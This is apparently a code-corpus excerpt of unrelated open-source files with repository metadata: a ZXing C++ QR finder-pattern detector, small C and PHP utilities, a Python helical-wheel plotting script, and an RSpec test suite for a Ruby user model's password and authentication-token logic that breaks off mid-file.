FinderPatternFinder::handlePossibleCenter(int* stateCount, size_t i, size_t j) { int stateCountTotal = stateCount[0] + stateCount[1] + stateCount[2] + stateCount[3] + stateCount[4]; float centerJ = centerFromEnd(stateCount, j); float centerI = crossCheckVertical(i, (size_t)centerJ, stateCount[2], stateCountTotal); if (!isnan_z(centerI)) { // Re-cross check centerJ = crossCheckHorizontal((size_t)centerJ, (size_t)centerI, stateCount[2], stateCountTotal); if (!isnan_z(centerJ) && crossCheckDiagonal((int)centerI, (int)centerJ, stateCount[2], stateCountTotal)) { float estimatedModuleSize = (float)stateCountTotal / 7.0f; bool found = false; size_t max = possibleCenters_.size(); for (size_t index = 0; index < max; index++) { Ref<FinderPattern> center = possibleCenters_[index]; // Look for about the same center and module size: if (center->aboutEquals(estimatedModuleSize, centerI, centerJ)) { possibleCenters_[index] = center->combineEstimate(centerI, centerJ, estimatedModuleSize); found = true; break; } } if (!found) { Ref<FinderPattern> newPattern(new FinderPattern(centerJ, centerI, estimatedModuleSize)); possibleCenters_.push_back(newPattern); if (callback_ != 0) { callback_->foundPossibleResultPoint(*newPattern); } } return true; } } return false; } int FinderPatternFinder::findRowSkip() { size_t max = possibleCenters_.size(); if (max <= 1) { return 0; } Ref<FinderPattern> firstConfirmedCenter; for (size_t i = 0; i < max; i++) { Ref<FinderPattern> center = possibleCenters_[i]; if (center->getCount() >= CENTER_QUORUM) { if (firstConfirmedCenter == 0) { firstConfirmedCenter = center; } else { // We have two confirmed centers // How far down can we skip before resuming looking for the next // pattern? In the worst case, only the difference between the // difference in the x / y coordinates of the two centers. // This is the case where you find top left first. Draw it out. hasSkipped_ = true; return (int)(abs(firstConfirmedCenter->getX() - center->getX()) - abs(firstConfirmedCenter->getY() - center->getY()))/2; } } } return 0; } bool FinderPatternFinder::haveMultiplyConfirmedCenters() { int confirmedCount = 0; float totalModuleSize = 0.0f; size_t max = possibleCenters_.size(); for (size_t i = 0; i < max; i++) { Ref<FinderPattern> pattern = possibleCenters_[i]; if (pattern->getCount() >= CENTER_QUORUM) { confirmedCount++; totalModuleSize += pattern->getEstimatedModuleSize(); } } if (confirmedCount < 3) { return false; } // OK, we have at least 3 confirmed centers, but, it's possible that one is a "false positive" // and that we need to keep looking. We detect this by asking if the estimated module sizes // vary too much. We arbitrarily say that when the total deviation from average exceeds // 5% of the total module size estimates, it's too much. float average = totalModuleSize / max; float totalDeviation = 0.0f; for (size_t i = 0; i < max; i++) { Ref<FinderPattern> pattern = possibleCenters_[i]; totalDeviation += abs(pattern->getEstimatedModuleSize() - average); } return totalDeviation <= 0.05f * totalModuleSize; } vector< Ref<FinderPattern> > FinderPatternFinder::selectBestPatterns() { size_t startSize = possibleCenters_.size(); if (startSize < 3) { // Couldn't find enough finder patterns throw zxing::ReaderException("Could not find three finder patterns"); } // Filter outlier possibilities whose module size is too different if (startSize > 3) { // But we can only afford to do so if we have at least 4 possibilities to choose from float totalModuleSize = 0.0f; float square = 0.0f; for (size_t i = 0; i < startSize; i++) { float size = possibleCenters_[i]->getEstimatedModuleSize(); totalModuleSize += size; square += size * size; } float average = totalModuleSize / (float) startSize; float stdDev = (float)sqrt(square / startSize - average * average); sort(possibleCenters_.begin(), possibleCenters_.end(), FurthestFromAverageComparator(average)); float limit = max(0.2f * average, stdDev); for (size_t i = 0; i < possibleCenters_.size() && possibleCenters_.size() > 3; i++) { if (abs(possibleCenters_[i]->getEstimatedModuleSize() - average) > limit) { possibleCenters_.erase(possibleCenters_.begin()+i); i--; } } } if ( possibleCenters_.size() > 3) { // Throw away all but those first size candidate points we found. float totalModuleSize = 0.0f; for (size_t i = 0; i < possibleCenters_.size(); i++) { float size = possibleCenters_[i]->getEstimatedModuleSize(); totalModuleSize += size; } float average = totalModuleSize / (float) possibleCenters_.size(); sort(possibleCenters_.begin(), possibleCenters_.end(), CenterComparator(average)); } vector<Ref<FinderPattern> > result(3); possibleCenters_.erase(possibleCenters_.begin()+3,possibleCenters_.end()); result[0] = possibleCenters_[0]; result[1] = possibleCenters_[1]; result[2] = possibleCenters_[2]; return result; } vector<Ref<FinderPattern> > FinderPatternFinder::orderBestPatterns(vector<Ref<FinderPattern> > patterns) { // Find distances between pattern centers float abDistance = distance(patterns[0], patterns[1]); float bcDistance = distance(patterns[1], patterns[2]); float acDistance = distance(patterns[0], patterns[2]); Ref<FinderPattern> topLeft; Ref<FinderPattern> topRight; Ref<FinderPattern> bottomLeft; // Assume one closest to other two is top left; // topRight and bottomLeft will just be guesses below at first if (bcDistance >= abDistance && bcDistance >= acDistance) { topLeft = patterns[0]; topRight = patterns[1]; bottomLeft = patterns[2]; } else if (acDistance >= bcDistance && acDistance >= abDistance) { topLeft = patterns[1]; topRight = patterns[0]; bottomLeft = patterns[2]; } else { topLeft = patterns[2]; topRight = patterns[0]; bottomLeft = patterns[1]; } // Use cross product to figure out which of other1/2 is the bottom left // pattern. The vector "top-left -> bottom-left" x "top-left -> top-right" // should yield a vector with positive z component if ((bottomLeft->getY() - topLeft->getY()) * (topRight->getX() - topLeft->getX()) < (bottomLeft->getX() - topLeft->getX()) * (topRight->getY() - topLeft->getY())) { Ref<FinderPattern> temp = topRight; topRight = bottomLeft; bottomLeft = temp; } vector<Ref<FinderPattern> > results(3); results[0] = bottomLeft; results[1] = topLeft; results[2] = topRight; return results; } float FinderPatternFinder::distance(Ref<ResultPoint> p1, Ref<ResultPoint> p2) { float dx = p1->getX() - p2->getX(); float dy = p1->getY() - p2->getY(); return (float)sqrt(dx * dx + dy * dy); } FinderPatternFinder::FinderPatternFinder(Ref<BitMatrix> image, Ref<ResultPointCallback>const& callback) : image_(image), possibleCenters_(), hasSkipped_(false), callback_(callback) { } Ref<FinderPatternInfo> FinderPatternFinder::find(DecodeHints const& hints) { bool tryHarder = hints.getTryHarder(); size_t maxI = image_->getHeight(); size_t maxJ = image_->getWidth(); // We are looking for black/white/black/white/black modules in // 1:1:3:1:1 ratio; this tracks the number of such modules seen so far // As this is used often, we use an integer array instead of vector int stateCount[5]; bool done = false; // Let's assume that the maximum version QR Code we support takes up 1/4 // the height of the image, and then account for the center being 3 // modules in size. This gives the smallest number of pixels the center // could be, so skip this often. When trying harder, look for all // QR versions regardless of how dense they are. int iSkip = (3 * maxI) / (4 * MAX_MODULES); if (iSkip < MIN_SKIP || tryHarder) { iSkip = MIN_SKIP; } // This is slightly faster than using the Ref. Efficiency is important here BitMatrix& matrix = *image_; for (size_t i = iSkip - 1; i < maxI && !done; i += iSkip) { // Get a row of black/white values memset(stateCount, 0, sizeof(stateCount)); int currentState = 0; for (size_t j = 0; j < maxJ; j++) { if (matrix.get(j, i)) { // Black pixel if ((currentState & 1) == 1) { // Counting white pixels currentState++; } stateCount[currentState]++; } else { // White pixel if ((currentState & 1) == 0) { // Counting black pixels if (currentState == 4) { // A winner? if (foundPatternCross(stateCount)) { // Yes bool confirmed = handlePossibleCenter(stateCount, i, j); if (confirmed) { // Start examining every other line. Checking each line turned out to be too // expensive and didn't improve performance. iSkip = 2; if (hasSkipped_) { done = haveMultiplyConfirmedCenters(); } else { int rowSkip = findRowSkip(); if (rowSkip > stateCount[2]) { // Skip rows between row of lower confirmed center // and top of presumed third confirmed center // but back up a bit to get a full chance of detecting // it, entire width of center of finder pattern // Skip by rowSkip, but back off by stateCount[2] (size // of last center of pattern we saw) to be conservative, // and also back off by iSkip which is about to be // re-added i += rowSkip - stateCount[2] - iSkip; j = maxJ - 1; } } } else { stateCount[0] = stateCount[2]; stateCount[1] = stateCount[3]; stateCount[2] = stateCount[4]; stateCount[3] = 1; stateCount[4] = 0; currentState = 3; continue; } // Clear state to start looking again currentState = 0; memset(stateCount, 0, sizeof(stateCount)); } else { // No, shift counts back by two stateCount[0] = stateCount[2]; stateCount[1] = stateCount[3]; stateCount[2] = stateCount[4]; stateCount[3] = 1; stateCount[4] = 0; currentState = 3; } } else { stateCount[++currentState]++; } } else { // Counting white pixels stateCount[currentState]++; } } } if (foundPatternCross(stateCount)) { bool confirmed = handlePossibleCenter(stateCount, i, maxJ); if (confirmed) { iSkip = stateCount[0]; if (hasSkipped_) { // Found a third one done = haveMultiplyConfirmedCenters(); } } } } vector<Ref<FinderPattern> > patternInfo = selectBestPatterns(); patternInfo = orderBestPatterns(patternInfo); Ref<FinderPatternInfo> result(new FinderPatternInfo(patternInfo)); return result; } Ref<BitMatrix> FinderPatternFinder::getImage() { return image_; } vector<Ref<FinderPattern> >& FinderPatternFinder::getPossibleCenters() { return possibleCenters_; } bool FinderPatternFinder::crossCheckDiagonal(int startI, int centerJ, int maxCount, int originalStateCountTotal) const { int *stateCount = getCrossCheckStateCount(); // Start counting up, left from center finding black center mass int i = 0; while (startI >= i && centerJ >= i && image_->get(centerJ - i, startI - i)) { stateCount[2]++; i++; } if (startI < i || centerJ < i) { return false; } // Continue up, left finding white space while (startI >= i && centerJ >= i && !image_->get(centerJ - i, startI - i) && stateCount[1] <= maxCount) { stateCount[1]++; i++; } // If already too many modules in this state or ran off the edge: if (startI < i || centerJ < i || stateCount[1] > maxCount) { return false; } // Continue up, left finding black border while (startI >= i && centerJ >= i && image_->get(centerJ - i, startI - i) && stateCount[0] <= maxCount) { stateCount[0]++; i++; } if (stateCount[0] > maxCount) { return false; } int maxI = image_->getHeight(); int maxJ = image_->getWidth(); // Now also count down, right from center i = 1; while (startI + i < maxI && centerJ + i < maxJ && image_->get(centerJ + i, startI + i)) { stateCount[2]++; i++; } // Ran off the edge? if (startI + i >= maxI || centerJ + i >= maxJ) { return false; } while (startI + i < maxI && centerJ + i < maxJ && !image_->get(centerJ + i, startI + i) && stateCount[3] < maxCount) { stateCount[3]++; i++; } if (startI + i >= maxI || centerJ + i >= maxJ || stateCount[3] >= maxCount) { return false; } while (startI + i < maxI && centerJ + i < maxJ && image_->get(centerJ + i, startI + i) && stateCount[4] < maxCount) { stateCount[4]++; i++; } if (stateCount[4] >= maxCount) { return false; } // If we found a finder-pattern-like section, but its size is more than 100% different than // the original, assume it's a false positive int stateCountTotal = stateCount[0] + stateCount[1] + stateCount[2] + stateCount[3] + stateCount[4]; return abs(stateCountTotal - originalStateCountTotal) < 2 * originalStateCountTotal && foundPatternCross(stateCount); } int *FinderPatternFinder::getCrossCheckStateCount() const { memset(crossCheckStateCount, 0, sizeof(crossCheckStateCount)); return crossCheckStateCount; }
fogelton/fraqtive
qzxing/zxing/zxing/qrcode/detector/QRFinderPatternFinder.cpp
C++
gpl-3.0
23,368
int lire_driver (char *nom); int select_driver (void);
DrCoolzic/BIG2
BIG2_DOC/SRCS/BDOC_IMP.H
C++
gpl-3.0
55
<?php /** * General Debugger-Class, implementing a FirePHP-Debugger, * for usage see http://www.firephp.org/HQ/Use.htm * * Usage for Classees implementing Config.php: * if ($this->debugger) $this->debugger->log($data, "Label"); * * @package moosique.net * @author Steffen Becker */ class Debugger { private $fb; // instance of the FirePHP-Class /** * Initializes the Debugger by inlcuding and instanciating FirePHP * * @author Steffen Becker */ function __construct() { require_once('FirePHP.class.php'); $this->fb = FirePHP::getInstance(true); } /** * Logs an Object using FirePHP * * @param mixed $var Any object, array, string etc. to log * @param string $label The label for the object to log * @author Steffen Becker */ public function log($var, $label = '') { $this->fb->log($var, $label); } } ?>
daftano/dl-learner
moosique.net/moosique/classes/Debugger.php
PHP
gpl-3.0
892
<?php require_once(dirname($_SERVER['SCRIPT_FILENAME'])."/../src/Common/all.php"); $from = $argv[1]; if ($argc>2) { $to = $argv[2]; } else { $to = "."; } list($stdout, $stderr) = exec2("ln -fs ".get_path("test_data_folder")."{$from} {$to}"); ?>
imgag/megSAP
test/link_test_data.php
PHP
gpl-3.0
250
## import argparse from plotWheels.helical_wheel import helical_wheel if __name__ == "__main__": parser = argparse.ArgumentParser(description="Generate Helical Wheel") parser.add_argument("--sequence",dest="sequence",type=str) parser.add_argument("--seqRange",dest="seqRange",type=int,default=1) parser.add_argument("--t_size",dest="t_size",type=int,default=32) parser.add_argument("--rotation",dest="rotation",type=int,default=90) parser.add_argument("--numbering",action="store_true",help="numbering for helical wheel") parser.add_argument("--output",dest="output",type=argparse.FileType("wb"), default="_helicalwheel.png")#dest="output",default="_helicalwheel.png") #### circle colors parser.add_argument("--f_A",dest="f_A", default="#ffcc33") parser.add_argument("--f_C",dest="f_C",default="#b5b5b5") parser.add_argument("--f_D",dest="f_D",default="#db270f") parser.add_argument("--f_E",dest="f_E",default="#db270f") parser.add_argument("--f_F",dest="f_F",default="#ffcc33") parser.add_argument("--f_G",dest="f_G",default="#b5b5b5") parser.add_argument("--f_H",dest="f_H",default="#12d5fc") parser.add_argument("--f_I",dest="f_I",default="#ffcc33") parser.add_argument("--f_K",dest="f_K",default="#12d5fc") parser.add_argument("--f_L",dest="f_L",default="#ffcc33") parser.add_argument("--f_M",dest="f_M",default="#ffcc33") parser.add_argument("--f_N",dest="f_N",default="#b5b5b5") parser.add_argument("--f_P",dest="f_P",default="#ffcc33") parser.add_argument("--f_Q",dest="f_Q",default="#b5b5b5") parser.add_argument("--f_R",dest="f_R",default="#12d5fc") parser.add_argument("--f_S",dest="f_S",default="#b5b5b5") parser.add_argument("--f_T",dest="f_T",default="#b5b5b5") parser.add_argument("--f_V",dest="f_V",default="#ffcc33") parser.add_argument("--f_W",dest="f_W",default="#ffcc33") parser.add_argument("--f_Y",dest="f_Y",default="#b5b5b5") ### text colors parser.add_argument("--t_A",dest="t_A",default="k") parser.add_argument("--t_C",dest="t_C",default="k") parser.add_argument("--t_D",dest="t_D",default="w") parser.add_argument("--t_E",dest="t_E",default="w") parser.add_argument("--t_F",dest="t_F",default="k") parser.add_argument("--t_G",dest="t_G",default="k") parser.add_argument("--t_H",dest="t_H",default="k") parser.add_argument("--t_I",dest="t_I",default="k") parser.add_argument("--t_K",dest="t_K",default="k") parser.add_argument("--t_L",dest="t_L",default="k") parser.add_argument("--t_M",dest="t_M",default="k") parser.add_argument("--t_N",dest="t_N",default="k") parser.add_argument("--t_P",dest="t_P",default="k") parser.add_argument("--t_Q",dest="t_Q",default="k") parser.add_argument("--t_R",dest="t_R",default="k") parser.add_argument("--t_S",dest="t_S",default="k") parser.add_argument("--t_T",dest="t_T",default="k") parser.add_argument("--t_V",dest="t_V",default="k") parser.add_argument("--t_W",dest="t_W",default="k") parser.add_argument("--t_Y",dest="t_Y",default="k") args = parser.parse_args() #print(type(args.output)) f_colors = [args.f_A,args.f_C,args.f_D,args.f_E,args.f_F,args.f_G,args.f_H,args.f_I,args.f_K, args.f_L,args.f_M,args.f_N,args.f_P,args.f_Q,args.f_R,args.f_S,args.f_T,args.f_V, args.f_W,args.f_Y] t_colors = [args.t_A,args.t_C,args.t_D,args.t_E,args.t_F,args.t_G,args.t_H,args.t_I,args.t_K, args.t_L,args.t_M,args.t_N,args.t_P,args.t_Q,args.t_R,args.t_S,args.t_T,args.t_V, args.t_W,args.t_Y] colors = [f_colors, t_colors] tmp_file = "./tmp.png" helical_wheel(sequence=args.sequence, colorcoding=colors[0], text_color=colors[1], seqRange=args.seqRange, t_size=args.t_size, rot=args.rotation, numbering=args.numbering, filename=tmp_file ) with open("tmp.png", "rb") as f: for line in f: args.output.write(line)
TAMU-CPT/galaxy-tools
tools/helicalWheel/generateHelicalWheel.py
Python
gpl-3.0
4,144
# SKIP(Social Knowledge & Innovation Platform) # Copyright (C) 2008-2010 TIS Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. require File.dirname(__FILE__) + '/../spec_helper' describe User, '#groups' do before do @user = create_user @group = create_group group_participation = GroupParticipation.create!(:user_id => @user.id, :group_id => @group.id) end it '一件のグループが取得できること' do @user.groups.size.should == 1 end describe 'グループを論理削除された場合' do before do @group.logical_destroy end it 'グループが取得できないこと' do @user.groups.size.should == 0 end end end describe User," is a_user" do fixtures :users, :user_accesses, :user_uids before(:each) do @user = users(:a_user) end it "get uid and name by to_s" do @user.to_s.should == "uid:#{@user.uid}, name:#{@user.name}" end it "get symbol_id" do @user.symbol_id.should == "a_user" end it "get symbol" do @user.symbol.should == "uid:a_user" end it "get before_access" do @user.before_access.should == "Within 1 day" end it "set mark_track" do lambda { @user.mark_track(users(:a_group_joined_user).id) }.should change(Track, :count).by(1) end end describe User, 'validation' do describe 'email' do before do @user = new_user(:email => 'skip@example.org') @user.save! end it 'ユニークであること' do new_user(:email => 'skip@example.org').valid?.should be_false # 大文字小文字が異なる場合もNG new_user(:email => 'Skip@example.org').valid?.should be_false end it 'ドメイン名に大文字を含むアドレスを許容すること' do new_user(:email => 'foo@Example.org').valid?.should be_true end it 'アカウント名とドメイン名に大文字を含むアドレスを許容すること' do new_user(:email => 'Foo@Example.org').valid?.should be_true end end describe 'pssword' do before do @user = create_user @user.stub!(:password_required?).and_return(true) end it '必須であること' do @user.password = '' @user.valid?.should be_false @user.errors['password'].include?('Password can\'t be blank').should be_true end it '確認用パスワードと一致すること' do @user.password = 'valid_password' @user.password_confirmation = 'invalid_password' @user.valid?.should be_false @user.errors['password'].include?('Password doesn\'t match confirmation').should be_true end it '6文字以上であること' do @user.password = 'abcd' @user.valid?.should be_false @user.errors['password'].include?('Password is too short (minimum is 6 characters)').should be_true end it '40文字以内であること' do @user.password = SkipFaker.rand_char(41) @user.valid?.should be_false @user.errors['password'].include?('Password is too long (maximum is 40 characters)').should be_true end it 'ログインIDと異なること' do @user.stub!(:uid).and_return('yamada') @user.password = 'yamada' @user.valid?.should be_false @user.errors['password'].should be_include('shall not be the same with login ID.') end it '現在のパスワードと異なること' do @user.password = 'Password2' @user.password_confirmation = 'Password2' @user.save! @user.password = 'Password2' @user.valid?.should be_false @user.errors['password'].should be_include('shall not be the same with the previous one.') end describe 'パスワード強度が弱の場合' do before do Admin::Setting.stub!(:password_strength).and_return('low') end it '6文字以上の英数字記号であること' do @user.password = 'abcde' @user.password_confirmation = 'abcde' @user.valid? [@user.errors['password']].flatten.size.should == 2 @user.password = 'abcdef' @user.password_confirmation = 'abcdef' @user.valid? @user.errors['password'].should be_nil end end describe 'パスワード強度が中の場合' do before do Admin::Setting.stub!(:password_strength).and_return('middle') end it '7文字の場合エラー' do @user.password = 'abcdeF0' @user.valid? [@user.errors['password']].flatten.size.should == 1 end describe '8文字以上の場合' do it '小文字のみの場合エラー' do @user.password = 'abcdefgh' @user.valid? [@user.errors['password']].flatten.size.should == 1 end it '大文字のみの場合エラー' do @user.password = 'ABCDEFGH' @user.valid? [@user.errors['password']].flatten.size.should == 1 end it '数字のみの場合エラー' do @user.password = '12345678' @user.valid? [@user.errors['password']].flatten.size.should == 1 end it '記号のみの場合エラー' do @user.password = '####&&&&' @user.valid? [@user.errors['password']].flatten.size.should == 1 end it '小文字、大文字のみの場合エラー' do @user.password = 'abcdEFGH' @user.valid? [@user.errors['password']].flatten.size.should == 1 end it '小文字、大文字、数字の場合エラーにならないこと' do @user.password = 'abcdEF012' @user.password_confirmation = 'abcdEF012' @user.valid? @user.errors['password'].should be_nil end end end describe 'パスワード強度が強の場合' do before do Admin::Setting.stub!(:password_strength).and_return('high') end it '7文字の場合エラー' do @user.password = 'abcdeF0' @user.valid? [@user.errors['password']].flatten.size.should == 1 end describe '8文字以上の場合' do it '小文字のみの場合エラー' do @user.password = 'abcdefgh' @user.valid? [@user.errors['password']].flatten.size.should == 1 end it '大文字のみの場合エラー' do @user.password = 'ABCDEFGH' @user.valid? [@user.errors['password']].flatten.size.should == 1 end it '数字のみの場合エラー' do @user.password = '12345678' @user.valid? [@user.errors['password']].flatten.size.should == 1 end it '記号のみの場合エラー' do @user.password = '####&&&&' @user.valid? [@user.errors['password']].flatten.size.should == 1 end it '小文字、大文字のみの場合エラー' do @user.password = 'abcdEFGH' @user.valid? [@user.errors['password']].flatten.size.should == 1 end it '小文字、大文字、数字の場合エラー' do @user.password = 'abcdEF01' @user.valid? [@user.errors['password']].flatten.size.should == 1 end it '小文字、大文字、数字, 記号の場合エラーとならないこと' do @user.password = 'abcdeF0@#' @user.password_confirmation = 'abcdeF0@#' @user.errors['password'].should be_nil end end end end end describe User, "#before_save" do before do SkipEmbedded::InitialSettings['login_mode'] = 'password' SkipEmbedded::InitialSettings['sha1_digest_key'] = "digest_key" end describe '新規の場合' do before do @user = new_user Admin::Setting.password_change_interval = 90 end it 'パスワードが保存されること' do lambda do @user.save end.should change(@user, :crypted_password).from(nil) end it 'パスワード有効期限が設定されること' do time = Time.now Time.stub!(:now).and_return(time) lambda do @user.save end.should change(@user, :password_expires_at).to(Time.now.since(90.day)) end end describe '更新の場合' do before do @user = new_user @user.save @user.reset_auth_token = 'reset_auth_token' @user.reset_auth_token_expires_at = Time.now @user.locked = true @user.trial_num = 1 @user.save Admin::Setting.password_change_interval = 90 end describe 'パスワードの変更の場合' do before do @user.password = 'Password99' @user.password_confirmation = 'Password99' end it 'パスワードが保存される' do lambda do @user.save end.should change(@user, :crypted_password).from(nil) end it 'パスワード有効期限が設定される' do time = Time.now Time.stub!(:now).and_return(time) lambda do @user.save end.should change(@user, :password_expires_at).to(Time.now.since(90.day)) end it 'reset_auth_tokenがクリアされること' do lambda do @user.save end.should change(@user, :reset_auth_token).to(nil) end it 'reset_auth_token_expires_atがクリアされること' do lambda do @user.save end.should change(@user, :reset_auth_token_expires_at).to(nil) end it 'lockedがクリアされること' do lambda do @user.save end.should change(@user, :locked).to(false) end it 'trial_numがクリアされること' do lambda do @user.save end.should change(@user, :trial_num).to(0) end end describe 'パスワード以外の変更の場合' do before do @user.name = 'fuga' end it 'パスワードは変更されないこと' do lambda do @user.save end.should_not change(@user, :crypted_password) end it 'パスワード有効期限は設定されないこと' do lambda do @user.save end.should_not change(@user, :password_expires_at) end it 'reset_auth_tokenが変わらないこと' do lambda do @user.save end.should_not change(@user, :reset_auth_token) end it 'reset_auth_token_expires_atが変わらないこと' do lambda do @user.save end.should_not change(@user, :reset_auth_token_expires_at) end it 'lockedが変わらないこと' do lambda do @user.save end.should_not change(@user, :locked) end it 'trial_numが変わらないこと' do lambda do @user.save end.should_not change(@user, :trial_num) end end end describe 'ロックする場合' do before do @user = create_user(:user_options => { :auth_session_token => 'auth_session_token', :remember_token => 'remember_token', :remember_token_expires_at => Time.now }) @user.locked = true end it 'セッション認証用のtokenが破棄されること' do lambda do @user.save end.should change(@user, :auth_session_token).to(nil) end it 'クッキー認証用のtokenが破棄されること' do lambda do @user.save end.should change(@user, :remember_token).to(nil) end it 'クッキー認証用のtokenの有効期限が破棄されること' do lambda do @user.save end.should change(@user, :remember_token_expires_at).to(nil) end end describe 'ロック状態が変化しない場合' do before do @user = create_user(:user_options => { :auth_session_token => 'auth_session_token', :remember_token => 'remember_token', :remember_token_expires_at => Time.now }) end it 'セッション認証用のtokenが破棄されないこと' do lambda do @user.save end.should_not change(@user, :auth_session_token) end it 'クッキー認証用のtokenが破棄されないこと' do lambda do @user.save end.should_not change(@user, :remember_token) end it 'クッキー認証用のtokenの有効期限が破棄されないこと' do lambda do @user.save end.should_not change(@user, :remember_token_expires_at) end end end describe User, '#before_create' do before do @user = new_user end it '新規作成の際にはissued_atに現在日時が設定される' do time = Time.now Time.stub!(:now).and_return(time) lambda do @user.save end.should change(@user, :issued_at).to(nil) end end describe User, '#after_save' do describe '退職になったユーザの場合' do before do @user = create_user do |u| u.user_oauth_accesses.create(:app_name => 'wiki', :token => 'token', :secret => 'secret') end end it '対象ユーザのOAuthアクセストークンが削除されること' do lambda do @user.status = 'RETIRED' @user.save end.should change(@user.user_oauth_accesses, :size).by(-1) end end describe '利用中のユーザの場合' do before do @user = create_user do |u| u.user_oauth_accesses.create(:app_name => 'wiki', :token => 'token', :secret => 'secret') end end it '対象ユーザのOAuthアクセストークンが変化しないこと' do lambda do @user.name = 'new_name' @user.save end.should_not change(@user.user_oauth_accesses, :size) end end end describe User, '#change_password' do before do SkipEmbedded::InitialSettings['login_mode'] = 'password' SkipEmbedded::InitialSettings['sha1_digest_key'] = 'digest_key' @user = create_user(:user_options => {:password => 'Password1'}) @old_password = 'Password1' @new_password = 'Hogehoge1' @params = { :old_password => @old_password, :password => @new_password, :password_confirmation => @new_password } end describe "前のパスワードが正しい場合" do describe '新しいパスワードが入力されている場合' do it 'パスワードが変更されること' do lambda do @user.change_password @params end.should change(@user, :crypted_password) end end describe '新しいパスワードが入力されていない場合' do before do @params[:password] = '' @user.change_password @params end it { @user.errors.full_messages.size.should == 1 } end end describe "前のパスワードが間違っている場合" do before do @params[:old_password] = 'fugafuga' @user.change_password @params end it { @user.errors.full_messages.size.should == 1 } end end describe User, ".new_with_identity_url" do before do @identity_url = "http://test.com/identity" @params = { :code => 'hoge', :name => "ほげ ふが", :email => 'hoge@hoge.com' } @user = User.new_with_identity_url(@identity_url, @params) @user.stub!(:password_required?).and_return(false) end describe "正しく保存される場合" do it { @user.should be_valid } it { @user.should be_is_a(User) } it { @user.openid_identifiers.should_not be_nil } it { @user.openid_identifiers.map{|i| i.url}.should be_include(@identity_url) } end describe "バリデーションエラーの場合" do before do @user.name = '' @user.email = '' end it { @user.should_not be_valid } it "userにエラーが設定されていること" do @user.valid? @user.errors.full_messages.size.should == 3 end end end describe User, ".create_with_identity_url" do before do @identity_url = "http://test.com/identity" @params = { :code => 'hoge', :name => "ほげ ふが", :email => 'hoge@hoge.com' } @user = mock_model(User) User.should_receive(:new_with_identity_url).and_return(@user) @user.should_receive(:save) end it { User.create_with_identity_url(@identity_url, @params).should be_is_a(User) } end describe User, ".auth" do subject { User.auth('code_or_email', "valid_password") { |result, user| @result = result; @authed_user = user } } describe "指定したログインID又はメールアドレスに対応するユーザが存在する場合" do before do @user = create_user @user.stub!(:crypted_password).and_return(User.encrypt("valid_password")) User.stub!(:find_by_code_or_email_with_key_phrase).and_return(@user) end describe "未使用ユーザの場合" do before do @user.stub!(:unused?).and_return(true) end it { should be_false } end describe "使用中ユーザの場合" do before do @user.stub!(:unused?).and_return(false) User.stub(:auth_successed).and_return(@user) User.stub(:auth_failed) end describe "パスワードが正しい場合" do it '認証成功処理が行われること' do User.should_receive(:auth_successed).with(@user) User.auth('code_or_email', "valid_password") end it "ユーザが返ること" do should be_true @authed_user.should == @user end end describe "パスワードは正しくない場合" do it '認証失敗処理が行われること' do User.should_receive(:auth_failed).with(@user) User.auth('code_or_email', 'invalid_password') end it "エラーメッセージが返ること" do User.auth('code_or_email', 'invalid_password').should be_false end end describe "パスワードの有効期限が切れている場合" do before do @user.stub!(:within_time_limit_of_password?).and_return(false) end it "エラーメッセージが返ること" do should be_false @authed_user.should == @user end end describe "アカウントがロックされている場合" do before do @user.stub!(:locked?).and_return(true) end it "エラーメッセージが返ること" do should be_false @authed_user.should == @user end end end end describe "指定したログインID又はメールアドレスに対応するユーザが存在しない場合" do before do User.should_receive(:find_by_code_or_email_with_key_phrase).at_least(:once).and_return(nil) end it { should be_false } end end describe User, "#delete_auth_tokens" do before do @user = create_user @user.remember_token = "remember_token" @user.remember_token_expires_at = Time.now @user.auth_session_token = "auth_session_token" @user.save @user.delete_auth_tokens! end it "すべてのトークンが削除されていること" do @user.remember_token.should be_nil @user.remember_token_expires_at.should be_nil @user.auth_session_token.should be_nil end end describe User, "#update_auth_session_token" do before do @user = create_user @auth_session_token = User.make_token User.stub!(:make_token).and_return(@auth_session_token) end describe 'シングルセッション機能が有効な場合' do before do Admin::Setting.should_receive(:enable_single_session).and_return(true) end it "トークンが保存されること" do @user.update_auth_session_token! @user.auth_session_token.should == @auth_session_token end it "トークンが返されること" do @user.update_auth_session_token!.should == @auth_session_token end end describe 'シングルセッション機能が無効な場合' do before do Admin::Setting.should_receive(:enable_single_session).and_return(false) end describe '新規ログインの場合(auth_session_tokenに値が入っていない)' do before do @user.auth_session_token = nil end it "トークンが保存されること" do @user.update_auth_session_token! @user.auth_session_token.should == @auth_session_token end it "トークンが返されること" do @user.update_auth_session_token!.should == @auth_session_token end end describe 'ログイン済みの場合(auth_session_tokenに値が入っている)' do before do @user.auth_session_token = 'auth_session_token' end it 'トークンが変化しないこと' do lambda do @user.update_auth_session_token! end.should_not change(@user, :auth_session_token) end it 'トークンが返されること' do @user.update_auth_session_token!.should == 'auth_session_token' end end end end describe User, '#issue_reset_auth_token' do before do @user = create_user @now = Time.local(2008, 11, 1) Time.stub!(:now).and_return(@now) end it 'reset_auth_tokenに値が入ること' do lambda do @user.issue_reset_auth_token end.should change(@user, :reset_auth_token) end it 'reset_auth_token_expires_atが24時間後となること' do lambda do @user.issue_reset_auth_token end.should change(@user, :reset_auth_token_expires_at).from(nil).to(@now.since(24.hour)) end end describe User, '#determination_reset_auth_token' do before do @user = create_user end it 'reset_auth_tokenの値が更新されること' do prc = '6df711a1a42d110261cfe759838213143ca3c2ad' @user.reset_auth_token = prc lambda do @user.determination_reset_auth_token end.should change(@user, :reset_auth_token).from(prc).to(nil) end it 'reset_auth_token_expires_atの値が更新されること' do time = Time.now @user.reset_auth_token_expires_at = time lambda do @user.determination_reset_auth_token end.should change(@user, :reset_auth_token_expires_at).from(time).to(nil) end end describe User, '#issue_activation_code' do before do @user = create_user @now = Time.local(2008, 11, 1) User.stub!(:activation_lifetime).and_return(2) Time.stub!(:now).and_return(@now) end it 'activation_tokenに値が入ること' do lambda do @user.issue_activation_code end.should change(@user, :activation_token) end it 'activation_token_expires_atが48時間後となること' do lambda do @user.issue_activation_code end.should change(@user, :activation_token_expires_at).from(nil).to(@now.since(48.hour)) end end describe User, '.issue_activation_codes' do before do @now = Time.local(2008, 